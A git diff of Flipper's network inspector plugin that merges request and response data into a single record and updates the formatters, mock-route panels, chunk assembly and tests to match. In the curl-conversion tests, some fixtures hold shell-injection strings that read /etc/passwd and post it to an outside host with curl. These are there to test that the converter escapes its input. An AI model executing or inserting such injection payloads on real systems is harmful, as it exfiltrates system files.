diff --git a/desktop/flipper-plugin/src/state/DataSource.tsx b/desktop/flipper-plugin/src/state/DataSource.tsx
index e69ee570a..721836611 100644
--- a/desktop/flipper-plugin/src/state/DataSource.tsx
+++ b/desktop/flipper-plugin/src/state/DataSource.tsx
@@ -137,6 +137,11 @@ export class DataSource<
     return unwrap(this._records[index]);
   }
 
+  public has(key: KEY_TYPE) {
+    this.assertKeySet();
+    return this._recordsById.has(key);
+  }
+
   public getById(key: KEY_TYPE) {
     this.assertKeySet();
     return this._recordsById.get(key);
diff --git a/desktop/plugins/public/network/ManageMockResponsePanel.tsx b/desktop/plugins/public/network/ManageMockResponsePanel.tsx
index b203ff3ad..c385aebc3 100644
--- a/desktop/plugins/public/network/ManageMockResponsePanel.tsx
+++ b/desktop/plugins/public/network/ManageMockResponsePanel.tsx
@@ -17,7 +17,7 @@ import {
   Panel,
 } from 'flipper';
 import React, {useContext, useState, useMemo, useEffect} from 'react';
-import {Route, Request, Response} from './types';
+import {Route, Requests} from './types';
 import {MockResponseDetails} from './MockResponseDetails';
 import {NetworkRouteContext} from './index';
 import {RequestId} from './types';
@@ -27,8 +27,7 @@ import {NUX, Layout} from 'flipper-plugin';
 type Props = {
   routes: {[id: string]: Route};
   highlightedRows: Set<string> | null | undefined;
-  requests: {[id: string]: Request};
-  responses: {[id: string]: Response};
+  requests: Requests;
 };
 
 const ColumnSizes = {route: 'flex'};
@@ -224,7 +223,7 @@ export function ManageMockResponsePanel(props: Props) {
               Add Route
             </Button>
             <NUX
-              title="It is now possible to highlight calls from the network call list and convert them into mock routes."
+              title="It is now possible to select calls from the network call list and convert them into mock routes."
               placement="bottom">
               <Button
                 onClick={() => {
@@ -232,13 +231,12 @@ export function ManageMockResponsePanel(props: Props) {
                     !props.highlightedRows ||
                     props.highlightedRows.size == 0
                   ) {
-                    message.info('No network calls have been highlighted');
+                    message.info('No network calls have been selected');
                     return;
                   }
                   networkRouteManager.copyHighlightedCalls(
                     props.highlightedRows as Set<string>,
                     props.requests,
-                    props.responses,
                   );
                 }}>
                 Copy Highlighted Calls
diff --git a/desktop/plugins/public/network/MockResponseDialog.tsx b/desktop/plugins/public/network/MockResponseDialog.tsx
index 7c7df38ed..5487e10b2 100644
--- a/desktop/plugins/public/network/MockResponseDialog.tsx
+++ b/desktop/plugins/public/network/MockResponseDialog.tsx
@@ -10,7 +10,7 @@
 import {Button, styled, Layout, Spacer} from 'flipper';
 
 import {ManageMockResponsePanel} from './ManageMockResponsePanel';
-import {Route, Request, Response} from './types';
+import {Route, Requests} from './types';
 import React from 'react';
 
 import {NetworkRouteContext} from './index';
@@ -20,8 +20,7 @@ type Props = {
   routes: {[id: string]: Route};
   onHide: () => void;
   highlightedRows: Set<string> | null | undefined;
-  requests: {[id: string]: Request};
-  responses: {[id: string]: Response};
+  requests: Requests;
 };
 
 const Title = styled('div')({
@@ -45,7 +44,6 @@ export function MockResponseDialog(props: Props) {
           routes={props.routes}
           highlightedRows={props.highlightedRows}
           requests={props.requests}
-          responses={props.responses}
         />
       </Layout.Container>
       <Layout.Horizontal gap>
diff --git a/desktop/plugins/public/network/RequestDetails.tsx b/desktop/plugins/public/network/RequestDetails.tsx
index 7807ae55f..0b4ef2df0 100644
--- a/desktop/plugins/public/network/RequestDetails.tsx
+++ b/desktop/plugins/public/network/RequestDetails.tsx
@@ -7,7 +7,7 @@
  * @format
  */
 
-import {Request, Response, Header, Insights, RetryInsights} from './types';
+import {Request, Header, Insights, RetryInsights} from './types';
 
 import {
   Component,
@@ -55,7 +55,6 @@ const KeyValueColumns = {
 
 type RequestDetailsProps = {
   request: Request;
-  response: Response | null | undefined;
   bodyFormat: string;
   onSelectFormat: (bodyFormat: string) => void;
 };
@@ -111,7 +110,7 @@ export default class RequestDetails extends Component<RequestDetailsProps> {
   };
 
   render() {
-    const {request, response, bodyFormat, onSelectFormat} = this.props;
+    const {request, bodyFormat, onSelectFormat} = this.props;
     const url = new URL(request.url);
 
     const formattedText = bodyFormat == BodyOptions.formatted;
@@ -143,17 +142,17 @@ export default class RequestDetails extends Component<RequestDetailsProps> {
           </Panel>
         ) : null}
 
-        {request.headers.length > 0 ? (
+        {request.requestHeaders.length > 0 ? (
           <Panel
             key="headers"
             heading={'Request Headers'}
             floating={false}
             padded={false}>
-            <HeaderInspector headers={request.headers} />
+            <HeaderInspector headers={request.requestHeaders} />
           </Panel>
         ) : null}
 
-        {request.data != null ? (
+        {request.requestData != null ? (
           <Panel
             key="requestData"
             heading={'Request Body'}
@@ -165,28 +164,29 @@ export default class RequestDetails extends Component<RequestDetailsProps> {
             />
           </Panel>
         ) : null}
-        {response ? (
+        {request.status ? (
           <>
-            {response.headers.length > 0 ? (
+            {request.responseHeaders?.length ? (
               <Panel
                 key={'responseheaders'}
                 heading={`Response Headers${
-                  response.isMock ? ' (Mocked)' : ''
+                  request.responseIsMock ? ' (Mocked)' : ''
                 }`}
                 floating={false}
                 padded={false}>
-                <HeaderInspector headers={response.headers} />
+                <HeaderInspector headers={request.responseHeaders} />
               </Panel>
             ) : null}
             <Panel
               key={'responsebody'}
-              heading={`Response Body${response.isMock ? ' (Mocked)' : ''}`}
+              heading={`Response Body${
+                request.responseIsMock ? ' (Mocked)' : ''
+              }`}
               floating={false}
               padded={!formattedText}>
               <ResponseBodyInspector
                 formattedText={formattedText}
                 request={request}
-                response={response}
               />
             </Panel>
           </>
@@ -204,13 +204,13 @@ export default class RequestDetails extends Component<RequestDetailsProps> {
             options={BodyOptions}
           />
         </Panel>
-        {response && response.insights ? (
+        {request.insights ? (
           <Panel
             key="insights"
             heading={'Insights'}
             floating={false}
             collapsed={true}>
-            <InsightsInspector insights={response.insights} />
+            <InsightsInspector insights={request.insights} />
           </Panel>
         ) : null}
       </RequestDetails.Container>
@@ -311,7 +311,7 @@ const BodyContainer = styled.div({
 
 type BodyFormatter = {
   formatRequest?: (request: Request) => any;
-  formatResponse?: (request: Request, response: Response) => any;
+  formatResponse?: (request: Request) => any;
 };
 
 class RequestBodyInspector extends Component<{
@@ -320,7 +320,7 @@ class RequestBodyInspector extends Component<{
 }> {
   render() {
     const {request, formattedText} = this.props;
-    if (request.data == null || request.data.trim() === '') {
+    if (request.requestData == null || request.requestData.trim() === '') {
       return <Empty />;
     }
     const bodyFormatters = formattedText ? TextBodyFormatters : BodyFormatters;
@@ -346,25 +346,24 @@ class RequestBodyInspector extends Component<{
         }
       }
     }
-    return renderRawBody(request);
+    return renderRawBody(request, 'request');
   }
 }
 
 class ResponseBodyInspector extends Component<{
-  response: Response;
   request: Request;
   formattedText: boolean;
 }> {
   render() {
-    const {request, response, formattedText} = this.props;
-    if (response.data == null || response.data.trim() === '') {
+    const {request, formattedText} = this.props;
+    if (request.responseData == null || request.responseData.trim() === '') {
       return <Empty />;
     }
     const bodyFormatters = formattedText ? TextBodyFormatters : BodyFormatters;
     for (const formatter of bodyFormatters) {
       if (formatter.formatResponse) {
         try {
-          const component = formatter.formatResponse(request, response);
+          const component = formatter.formatResponse(request);
           if (component) {
             return (
               <BodyContainer>
@@ -383,7 +382,7 @@ class ResponseBodyInspector extends Component<{
         }
       }
     }
-    return renderRawBody(response);
+    return renderRawBody(request, 'response');
   }
 }
 
@@ -400,9 +399,26 @@ const Empty = () => (
   </BodyContainer>
 );
 
-function renderRawBody(container: Request | Response) {
+function getRequestData(request: Request) {
+  return {
+    headers: request.requestHeaders,
+    data: request.requestData,
+  };
+}
+
+function getResponseData(request: Request) {
+  return {
+    headers: request.responseHeaders,
+    data: request.responseData,
+  };
+}
+
+function renderRawBody(request: Request, mode: 'request' | 'response') {
   // TODO: we want decoding only for non-binary data! See D23403095
-  const decoded = decodeBody(container);
+  const data = mode === 'request' ? request.requestData : request.responseData;
+  const decoded = decodeBody(
+    mode === 'request' ? getRequestData(request) : getResponseData(request),
+  );
   return (
     <BodyContainer>
       {decoded ? (
@@ -413,7 +429,7 @@ function renderRawBody(container: Request | Response) {
         <>
           <FormattedBy>(Failed to decode)</FormattedBy>
           <Text selectable wordWrap="break-word">
-            {container.data}
+            {data}
           </Text>
         </>
       )}
@@ -482,20 +498,24 @@ class ImageWithSize extends Component<ImageWithSizeProps, ImageWithSizeState> {
 }
 
 class ImageFormatter {
-  formatResponse = (request: Request, response: Response) => {
-    if (getHeaderValue(response.headers, 'content-type').startsWith('image/')) {
-      if (response.data) {
+  formatResponse(request: Request) {
+    if (
+      getHeaderValue(request.responseHeaders, 'content-type').startsWith(
+        'image/',
+      )
+    ) {
+      if (request.responseData) {
         const src = `data:${getHeaderValue(
-          response.headers,
+          request.responseHeaders,
           'content-type',
-        )};base64,${response.data}`;
+        )};base64,${request.responseData}`;
         return <ImageWithSize src={src} />;
       } else {
         // fallback to using the request url
         return <ImageWithSize src={request.url} />;
       }
     }
-  };
+  }
 }
 
 class VideoFormatter {
@@ -504,8 +524,8 @@ class VideoFormatter {
     maxHeight: 500,
   });
 
-  formatResponse = (request: Request, response: Response) => {
-    const contentType = getHeaderValue(response.headers, 'content-type');
+  formatResponse = (request: Request) => {
+    const contentType = getHeaderValue(request.responseHeaders, 'content-type');
     if (contentType.startsWith('video/')) {
       return (
         <MediaContainer>
@@ -551,21 +571,21 @@ class XMLText extends Component<{body: any}> {
 }
 
 class JSONTextFormatter {
-  formatRequest = (request: Request) => {
+  formatRequest(request: Request) {
     return this.format(
-      decodeBody(request),
-      getHeaderValue(request.headers, 'content-type'),
+      decodeBody(getRequestData(request)),
+      getHeaderValue(request.requestHeaders, 'content-type'),
     );
-  };
+  }
 
-  formatResponse = (_request: Request, response: Response) => {
+  formatResponse(request: Request) {
     return this.format(
-      decodeBody(response),
-      getHeaderValue(response.headers, 'content-type'),
+      decodeBody(getResponseData(request)),
+      getHeaderValue(request.responseHeaders, 'content-type'),
     );
-  };
+  }
 
-  format = (body: string, contentType: string) => {
+  format(body: string, contentType: string) {
     if (
       contentType.startsWith('application/json') ||
       contentType.startsWith('application/hal+json') ||
@@ -583,47 +603,47 @@ class JSONTextFormatter {
           .map((data, idx) => <JSONText key={idx}>{data}</JSONText>);
       }
     }
-  };
+  }
 }
 
 class XMLTextFormatter {
-  formatRequest = (request: Request) => {
+  formatRequest(request: Request) {
     return this.format(
-      decodeBody(request),
-      getHeaderValue(request.headers, 'content-type'),
+      decodeBody(getRequestData(request)),
+      getHeaderValue(request.requestHeaders, 'content-type'),
     );
-  };
+  }
 
-  formatResponse = (_request: Request, response: Response) => {
+  formatResponse(request: Request) {
     return this.format(
-      decodeBody(response),
-      getHeaderValue(response.headers, 'content-type'),
+      decodeBody(getResponseData(request)),
+      getHeaderValue(request.responseHeaders, 'content-type'),
     );
-  };
+  }
 
-  format = (body: string, contentType: string) => {
+  format(body: string, contentType: string) {
     if (contentType.startsWith('text/html')) {
       return <XMLText body={body} />;
     }
-  };
+  }
 }
 
 class JSONFormatter {
-  formatRequest = (request: Request) => {
+  formatRequest(request: Request) {
     return this.format(
-      decodeBody(request),
-      getHeaderValue(request.headers, 'content-type'),
+      decodeBody(getRequestData(request)),
+      getHeaderValue(request.requestHeaders, 'content-type'),
     );
-  };
+  }
 
-  formatResponse = (_request: Request, response: Response) => {
+  formatResponse(request: Request) {
     return this.format(
-      decodeBody(response),
-      getHeaderValue(response.headers, 'content-type'),
+      decodeBody(getResponseData(request)),
+      getHeaderValue(request.responseHeaders, 'content-type'),
     );
-  };
+  }
 
-  format = (body: string, contentType: string) => {
+  format(body: string, contentType: string) {
     if (
       contentType.startsWith('application/json') ||
       contentType.startsWith('application/hal+json') ||
@@ -651,35 +671,35 @@ class JSONFormatter {
         );
       }
     }
-  };
+  }
 }
 
 class LogEventFormatter {
-  formatRequest = (request: Request) => {
+  formatRequest(request: Request) {
     if (request.url.indexOf('logging_client_event') > 0) {
-      const data = querystring.parse(decodeBody(request));
+      const data = querystring.parse(decodeBody(getRequestData(request)));
       if (typeof data.message === 'string') {
         data.message = JSON.parse(data.message);
       }
       return <ManagedDataInspector expandRoot={true} data={data} />;
     }
-  };
+  }
 }
 
 class GraphQLBatchFormatter {
-  formatRequest = (request: Request) => {
+  formatRequest(request: Request) {
     if (request.url.indexOf('graphqlbatch') > 0) {
-      const data = querystring.parse(decodeBody(request));
+      const data = querystring.parse(decodeBody(getRequestData(request)));
       if (typeof data.queries === 'string') {
         data.queries = JSON.parse(data.queries);
       }
       return <ManagedDataInspector expandRoot={true} data={data} />;
     }
-  };
+  }
 }
 
 class GraphQLFormatter {
-  parsedServerTimeForFirstFlush = (data: any) => {
+  parsedServerTimeForFirstFlush(data: any) {
     const firstResponse =
       Array.isArray(data) && data.length > 0 ? data[0] : data;
     if (!firstResponse) {
@@ -702,10 +722,10 @@ class GraphQLFormatter {
           (timeAtFlushMs - requestStartMs)}
       </WrappingText>
     );
-  };
-  formatRequest = (request: Request) => {
+  }
+  formatRequest(request: Request) {
     if (request.url.indexOf('graphql') > 0) {
-      const decoded = decodeBody(request);
+      const decoded = decodeBody(getRequestData(request));
       if (!decoded) {
         return undefined;
       }
@@ -718,14 +738,14 @@ class GraphQLFormatter {
       }
       return <ManagedDataInspector expandRoot={true} data={data} />;
     }
-  };
+  }
 
-  formatResponse = (_request: Request, response: Response) => {
+  formatResponse(request: Request) {
     return this.format(
-      decodeBody(response),
-      getHeaderValue(response.headers, 'content-type'),
+      decodeBody(getResponseData(request)),
+      getHeaderValue(request.responseHeaders, 'content-type'),
     );
-  };
+  }
 
   format = (body: string, contentType: string) => {
     if (
@@ -770,9 +790,9 @@ class GraphQLFormatter {
 
 class FormUrlencodedFormatter {
   formatRequest = (request: Request) => {
-    const contentType = getHeaderValue(request.headers, 'content-type');
+    const contentType = getHeaderValue(request.requestHeaders, 'content-type');
     if (contentType.startsWith('application/x-www-form-urlencoded')) {
-      const decoded = decodeBody(request);
+      const decoded = decodeBody(getRequestData(request));
       if (!decoded) {
         return undefined;
       }
@@ -788,16 +808,18 @@ class FormUrlencodedFormatter {
 
 class BinaryFormatter {
   formatRequest(request: Request) {
-    return this.format(request);
-  }
-
-  formatResponse(_request: Request, response: Response) {
-    return this.format(response);
-  }
-
-  format(container: Request | Response) {
     if (
-      getHeaderValue(container.headers, 'content-type') ===
+      getHeaderValue(request.requestHeaders, 'content-type') ===
+      'application/octet-stream'
+    ) {
+      return '(binary data)'; // we could offer a download button here?
+    }
+    return undefined;
+  }
+
+  formatResponse(request: Request) {
+    if (
+      getHeaderValue(request.responseHeaders, 'content-type') ===
       'application/octet-stream'
     ) {
       return '(binary data)'; // we could offer a download button here?
@@ -811,7 +833,7 @@ class ProtobufFormatter {
 
   formatRequest(request: Request) {
     if (
-      getHeaderValue(request.headers, 'content-type') ===
+      getHeaderValue(request.requestHeaders, 'content-type') ===
       'application/x-protobuf'
     ) {
       const protobufDefinition = this.protobufDefinitionRepository.getRequestType(
@@ -827,9 +849,9 @@ class ProtobufFormatter {
         );
       }
 
-      if (request?.data) {
+      if (request.requestData) {
         const data = protobufDefinition.decode(
-          Base64.toUint8Array(request.data),
+          Base64.toUint8Array(request.requestData),
         );
         return <JSONText>{data.toJSON()}</JSONText>;
       } else {
@@ -841,9 +863,9 @@ class ProtobufFormatter {
     return undefined;
   }
 
-  formatResponse(request: Request, response: Response) {
+  formatResponse(request: Request) {
     if (
-      getHeaderValue(response.headers, 'content-type') ===
+      getHeaderValue(request.responseHeaders, 'content-type') ===
         'application/x-protobuf' ||
       request.url.endsWith('.proto')
     ) {
@@ -860,9 +882,9 @@ class ProtobufFormatter {
         );
       }
 
-      if (response?.data) {
+      if (request.responseData) {
         const data = protobufDefinition.decode(
-          Base64.toUint8Array(response.data),
+          Base64.toUint8Array(request.responseData),
         );
         return <JSONText>{data.toJSON()}</JSONText>;
       } else {
diff --git a/desktop/plugins/public/network/__tests__/chunks.node.tsx b/desktop/plugins/public/network/__tests__/chunks.node.tsx
index ccbaa3d83..d7123a4f0 100644
--- a/desktop/plugins/public/network/__tests__/chunks.node.tsx
+++ b/desktop/plugins/public/network/__tests__/chunks.node.tsx
@@ -8,11 +8,10 @@
  */
 
 import {combineBase64Chunks} from '../chunks';
-import {TestUtils, createState} from 'flipper-plugin';
+import {TestUtils} from 'flipper-plugin';
 import * as NetworkPlugin from '../index';
 import {assembleChunksIfResponseIsComplete} from '../chunks';
 import path from 'path';
-import {PartialResponses, Response} from '../types';
 import {Base64} from 'js-base64';
 import * as fs from 'fs';
 import {promisify} from 'util';
@@ -88,24 +87,53 @@ test('Reducer correctly adds followup chunk', () => {
 
 test('Reducer correctly combines initial response and followup chunk', () => {
   const {instance, sendEvent} = TestUtils.startPlugin(NetworkPlugin);
-  instance.partialResponses.set({
-    '1': {
-      followupChunks: {},
-      initialResponse: {
-        data: 'aGVs',
-        headers: [],
-        id: '1',
-        insights: null,
-        isMock: false,
-        reason: 'nothing',
-        status: 200,
-        timestamp: 123,
-        index: 0,
-        totalChunks: 2,
-      },
-    },
+  sendEvent('newRequest', {
+    data: 'x',
+    headers: [{key: 'y', value: 'z'}],
+    id: '1',
+    method: 'GET',
+    timestamp: 0,
+    url: 'http://test.com',
+  });
+  sendEvent('partialResponse', {
+    data: 'aGVs',
+    headers: [],
+    id: '1',
+    insights: null,
+    isMock: false,
+    reason: 'nothing',
+    status: 200,
+    timestamp: 123,
+    index: 0,
+    totalChunks: 2,
+  });
+  expect(instance.partialResponses.get()).toMatchInlineSnapshot(`
+    Object {
+      "1": Object {
+        "followupChunks": Object {},
+        "initialResponse": Object {
+          "data": "aGVs",
+          "headers": Array [],
+          "id": "1",
+          "index": 0,
+          "insights": null,
+          "isMock": false,
+          "reason": "nothing",
+          "status": 200,
+          "timestamp": 123,
+          "totalChunks": 2,
+        },
+      },
+    }
+  `);
+  expect(instance.requests.records()[0]).toMatchObject({
+    requestData: 'x',
+    requestHeaders: [{key: 'y', value: 'z'}],
+    id: '1',
+    method: 'GET',
+    url: 'http://test.com',
+    domain: 'test.com/',
   });
-  expect(instance.responses.get()).toEqual({});
   sendEvent('partialResponse', {
     id: '1',
     totalChunks: 2,
@@ -114,20 +142,27 @@ test('Reducer correctly combines initial response and followup chunk', () => {
   });
 
   expect(instance.partialResponses.get()).toEqual({});
-  expect(instance.responses.get()['1']).toMatchInlineSnapshot(`
-    Object {
-      "data": "aGVsbG8=",
-      "headers": Array [],
-      "id": "1",
-      "index": 0,
-      "insights": null,
-      "isMock": false,
-      "reason": "nothing",
-      "status": 200,
-      "timestamp": 123,
-      "totalChunks": 2,
-    }
-  `);
+  expect(instance.requests.records()[0]).toMatchObject({
+    domain: 'test.com/',
+    duration: 123,
+    id: '1',
+    insights: undefined,
+    method: 'GET',
+    reason: 'nothing',
+    requestData: 'x',
+    requestHeaders: [
+      {
+        key: 'y',
+        value: 'z',
+      },
+    ],
+    responseData: 'aGVsbG8=',
+    responseHeaders: [],
+    responseIsMock: false,
+    responseLength: 5,
+    status: 200,
+    url: 'http://test.com',
+  });
 });
 
 async function readJsonFixture(filename: string) {
@@ -138,38 +173,22 @@ async function readJsonFixture(filename: string) {
 
 test('handle small binary payloads correctly', async () => {
   const input = await readJsonFixture('partial_failing_example.json');
-  const partials = createState<PartialResponses>({
-    test: input,
-  });
-  const responses = createState<Record<string, Response>>({});
   expect(() => {
     // this used to throw
-    assembleChunksIfResponseIsComplete(partials, responses, 'test');
+    assembleChunksIfResponseIsComplete(input);
   }).not.toThrow();
 });
 
 test('handle non binary payloads correcty', async () => {
   const input = await readJsonFixture('partial_utf8_before.json');
-  const partials = createState<PartialResponses>({
-    test: input,
-  });
-  const responses = createState<Record<string, Response>>({});
-  expect(() => {
-    assembleChunksIfResponseIsComplete(partials, responses, 'test');
-  }).not.toThrow();
   const expected = await readJsonFixture('partial_utf8_after.json');
-  expect(responses.get()['test']).toEqual(expected);
+  const response = assembleChunksIfResponseIsComplete(input);
+  expect(response).toEqual(expected);
 });
 
 test('handle binary payloads correcty', async () => {
   const input = await readJsonFixture('partial_binary_before.json');
-  const partials = createState<PartialResponses>({
-    test: input,
-  });
-  const responses = createState<Record<string, Response>>({});
-  expect(() => {
-    assembleChunksIfResponseIsComplete(partials, responses, 'test');
-  }).not.toThrow();
   const expected = await readJsonFixture('partial_binary_after.json');
-  expect(responses.get()['test']).toEqual(expected);
+  const response = assembleChunksIfResponseIsComplete(input);
+  expect(response).toEqual(expected);
 });
diff --git a/desktop/plugins/public/network/__tests__/encoding.node.tsx b/desktop/plugins/public/network/__tests__/encoding.node.tsx
index 0f9580123..d38a82446 100644
--- a/desktop/plugins/public/network/__tests__/encoding.node.tsx
+++ b/desktop/plugins/public/network/__tests__/encoding.node.tsx
@@ -10,17 +10,17 @@
 import {readFile} from 'fs';
 import path from 'path';
 import {decodeBody} from '../utils';
-import {Response} from '../types';
+import {ResponseInfo} from '../types';
 import {promisify} from 'util';
 import {readFileSync} from 'fs';
 
-async function createMockResponse(input: string): Promise<Response> {
+async function createMockResponse(input: string): Promise<ResponseInfo> {
   const inputData = await promisify(readFile)(
     path.join(__dirname, 'fixtures', input),
     'ascii',
   );
   const gzip = input.includes('gzip'); // if gzip in filename, assume it is a gzipped body
-  const testResponse: Response = {
+  const testResponse: ResponseInfo = {
     id: '0',
     timestamp: 0,
     status: 200,
diff --git a/desktop/plugins/public/network/__tests__/requestToCurlCommand.node.tsx b/desktop/plugins/public/network/__tests__/requestToCurlCommand.node.tsx
index 678232ec9..72ae01599 100644
--- a/desktop/plugins/public/network/__tests__/requestToCurlCommand.node.tsx
+++ b/desktop/plugins/public/network/__tests__/requestToCurlCommand.node.tsx
@@ -8,16 +8,15 @@
  */
 
 import {convertRequestToCurlCommand} from '../utils';
-import {Request} from '../types';
 
 test('convertRequestToCurlCommand: simple GET', () => {
-  const request: Request = {
+  const request = {
     id: 'request id',
     timestamp: 1234567890,
     method: 'GET',
     url: 'https://fbflipper.com/',
-    headers: [],
-    data: null,
+    requestHeaders: [],
+    requestData: undefined,
   };
 
   const command = convertRequestToCurlCommand(request);
@@ -25,13 +24,13 @@ test('convertRequestToCurlCommand: simple GET', () => {
 });
 
 test('convertRequestToCurlCommand: simple POST', () => {
-  const request: Request = {
+  const request = {
     id: 'request id',
     timestamp: 1234567890,
     method: 'POST',
     url: 'https://fbflipper.com/',
-    headers: [],
-    data: btoa('some=data&other=param'),
+    requestHeaders: [],
+    requestData: btoa('some=data&other=param'),
   };
 
   const command = convertRequestToCurlCommand(request);
@@ -41,13 +40,13 @@ test('convertRequestToCurlCommand: simple POST', () => {
 });
 
 test('convertRequestToCurlCommand: malicious POST URL', () => {
-  let request: Request = {
+  let request = {
     id: 'request id',
     timestamp: 1234567890,
     method: 'POST',
     url: "https://fbflipper.com/'; cat /etc/password",
-    headers: [],
-    data: btoa('some=data&other=param'),
+    requestHeaders: [],
+    requestData: btoa('some=data&other=param'),
   };
 
   let command = convertRequestToCurlCommand(request);
@@ -60,8 +59,8 @@ test('convertRequestToCurlCommand: malicious POST URL', () => {
     timestamp: 1234567890,
     method: 'POST',
     url: 'https://fbflipper.com/"; cat /etc/password',
-    headers: [],
-    data: btoa('some=data&other=param'),
+    requestHeaders: [],
+    requestData: btoa('some=data&other=param'),
   };
 
   command = convertRequestToCurlCommand(request);
@@ -71,13 +70,13 @@ test('convertRequestToCurlCommand: malicious POST URL', () => {
 });
 
 test('convertRequestToCurlCommand: malicious POST URL', () => {
-  let request: Request = {
+  let request = {
     id: 'request id',
     timestamp: 1234567890,
     method: 'POST',
     url: "https://fbflipper.com/'; cat /etc/password",
-    headers: [],
-    data: btoa('some=data&other=param'),
+    requestHeaders: [],
+    requestData: btoa('some=data&other=param'),
   };
 
   let command = convertRequestToCurlCommand(request);
@@ -90,8 +89,8 @@ test('convertRequestToCurlCommand: malicious POST URL', () => {
     timestamp: 1234567890,
     method: 'POST',
     url: 'https://fbflipper.com/"; cat /etc/password',
-    headers: [],
-    data: btoa('some=data&other=param'),
+    requestHeaders: [],
+    requestData: btoa('some=data&other=param'),
   };
 
   command = convertRequestToCurlCommand(request);
@@ -101,13 +100,15 @@ test('convertRequestToCurlCommand: malicious POST URL', () => {
 });
 
 test('convertRequestToCurlCommand: malicious POST data', () => {
-  let request: Request = {
+  let request = {
     id: 'request id',
     timestamp: 1234567890,
     method: 'POST',
     url: 'https://fbflipper.com/',
-    headers: [],
-    data: btoa('some=\'; curl https://somewhere.net -d "$(cat /etc/passwd)"'),
+    requestHeaders: [],
+    requestData: btoa(
+      'some=\'; curl https://somewhere.net -d "$(cat /etc/passwd)"',
+    ),
   };
 
   let command = convertRequestToCurlCommand(request);
@@ -120,8 +121,8 @@ test('convertRequestToCurlCommand: malicious POST data', () => {
     timestamp: 1234567890,
     method: 'POST',
     url: 'https://fbflipper.com/',
-    headers: [],
-    data: btoa('some=!!'),
+    requestHeaders: [],
+    requestData: btoa('some=!!'),
   };
 
   command = convertRequestToCurlCommand(request);
@@ -131,13 +132,13 @@ test('convertRequestToCurlCommand: malicious POST data', () => {
 });
 
 test('convertRequestToCurlCommand: control characters', () => {
-  const request: Request = {
+  const request = {
     id: 'request id',
     timestamp: 1234567890,
     method: 'GET',
     url: 'https://fbflipper.com/',
-    headers: [],
-    data: btoa('some=\u0007 \u0009 \u000C \u001B&other=param'),
+    requestHeaders: [],
+    requestData: btoa('some=\u0007 \u0009 \u000C \u001B&other=param'),
   };
 
   const command = convertRequestToCurlCommand(request);
diff --git a/desktop/plugins/public/network/chunks.tsx b/desktop/plugins/public/network/chunks.tsx
index 04174839e..36a322d2e 100644
--- a/desktop/plugins/public/network/chunks.tsx
+++ b/desktop/plugins/public/network/chunks.tsx
@@ -7,20 +7,16 @@
  * @format
  */
 
-import type {PartialResponses, Response} from './types';
-import {Atom} from 'flipper-plugin';
+import type {PartialResponse, ResponseInfo} from './types';
 import {Base64} from 'js-base64';
 
 export function assembleChunksIfResponseIsComplete(
-  partialResponses: Atom<PartialResponses>,
-  responses: Atom<Record<string, Response>>,
-  responseId: string,
-) {
-  const partialResponseEntry = partialResponses.get()[responseId];
-  const numChunks = partialResponseEntry.initialResponse?.totalChunks;
+  partialResponseEntry: PartialResponse | undefined,
+): ResponseInfo | undefined {
+  const numChunks = partialResponseEntry?.initialResponse?.totalChunks;
   if (
-    !partialResponseEntry.initialResponse ||
     !numChunks ||
+    !partialResponseEntry?.initialResponse ||
     Object.keys(partialResponseEntry.followupChunks).length + 1 < numChunks
   ) {
     // Partial response not yet complete, do nothing.
@@ -28,7 +24,7 @@ export function assembleChunksIfResponseIsComplete(
   }
 
   // Partial response has all required chunks, convert it to a full Response.
-  const response: Response = partialResponseEntry.initialResponse;
+  const response: ResponseInfo = partialResponseEntry.initialResponse;
   const allChunks: string[] =
     response.data != null
       ? [
@@ -41,17 +37,11 @@ export function assembleChunksIfResponseIsComplete(
       : [];
   const data = combineBase64Chunks(allChunks);
 
-  responses.update((draft) => {
-    draft[responseId] = {
-      ...response,
-      // Currently data is always decoded at render time, so re-encode it to match the single response format.
-      data,
-    };
-  });
-
-  partialResponses.update((draft) => {
-    delete draft[responseId];
-  });
+  return {
+    ...response,
+    // Currently data is always decoded at render time, so re-encode it to match the single response format.
+    data,
+  };
 }
 
 export function combineBase64Chunks(chunks: string[]): string {
diff --git a/desktop/plugins/public/network/index.tsx b/desktop/plugins/public/network/index.tsx
index f32363a2c..f819e285d 100644
--- a/desktop/plugins/public/network/index.tsx
+++ b/desktop/plugins/public/network/index.tsx
@@ -7,42 +7,38 @@
  * @format
  */
 
-import {padStart} from 'lodash';
-import React, {createContext} from 'react';
-import {MenuItemConstructorOptions} from 'electron';
-import {message} from 'antd';
+import React, {createContext, createRef} from 'react';
+import {Menu, message} from 'antd';
 
 import {
-  ContextMenu,
   Layout,
   Button,
-  Text,
   Glyph,
   colors,
-  PureComponent,
   DetailSidebar,
   styled,
-  SearchableTable,
   Sheet,
-  TableHighlightedRows,
-  TableRows,
-  TableBodyRow,
 } from 'flipper';
 import {
   Request,
-  RequestId,
-  Response,
+  RequestInfo,
+  ResponseInfo,
   Route,
   ResponseFollowupChunk,
   Header,
   MockRoute,
   AddProtobufEvent,
   PartialResponses,
+  Requests,
 } from './types';
 import {ProtobufDefinitionsRepository} from './ProtobufDefinitionsRepository';
-import {convertRequestToCurlCommand, getHeaderValue, decodeBody} from './utils';
+import {
+  convertRequestToCurlCommand,
+  getHeaderValue,
+  decodeBody,
+  getResponseLength,
+} from './utils';
 import RequestDetails from './RequestDetails';
-import {clipboard} from 'electron';
 import {URL} from 'url';
 import {MockResponseDialog} from './MockResponseDialog';
 import {assembleChunksIfResponseIsComplete} from './chunks';
@@ -52,10 +48,15 @@ import {
   createState,
   usePlugin,
   useValue,
+  createDataSource,
+  DataTable,
+  DataTableColumn,
+  DataTableManager,
 } from 'flipper-plugin';
-import {remote, OpenDialogOptions} from 'electron';
 import fs from 'fs';
-import electron from 'electron';
+// eslint-disable-next-line
+import electron, {OpenDialogOptions, remote} from 'electron';
+import {DeleteOutlined} from '@ant-design/icons';
 
 const LOCALSTORAGE_MOCK_ROUTE_LIST_KEY = '__NETWORK_CACHED_MOCK_ROUTE_LIST';
 const LOCALSTORAGE_RESPONSE_BODY_FORMAT_KEY =
@@ -67,9 +68,9 @@ export const BodyOptions = {
 };
 
 type Events = {
-  newRequest: Request;
-  newResponse: Response;
-  partialResponse: Response | ResponseFollowupChunk;
+  newRequest: RequestInfo;
+  newResponse: ResponseInfo;
+  partialResponse: ResponseInfo | ResponseFollowupChunk;
   addProtobufDefinitions: AddProtobufEvent;
 };
 
@@ -77,43 +78,22 @@ type Methods = {
   mockResponses(params: {routes: MockRoute[]}): Promise<void>;
 };
 
-const COLUMN_SIZE = {
-  requestTimestamp: 100,
-  responseTimestamp: 100,
-  domain: 'flex',
-  method: 100,
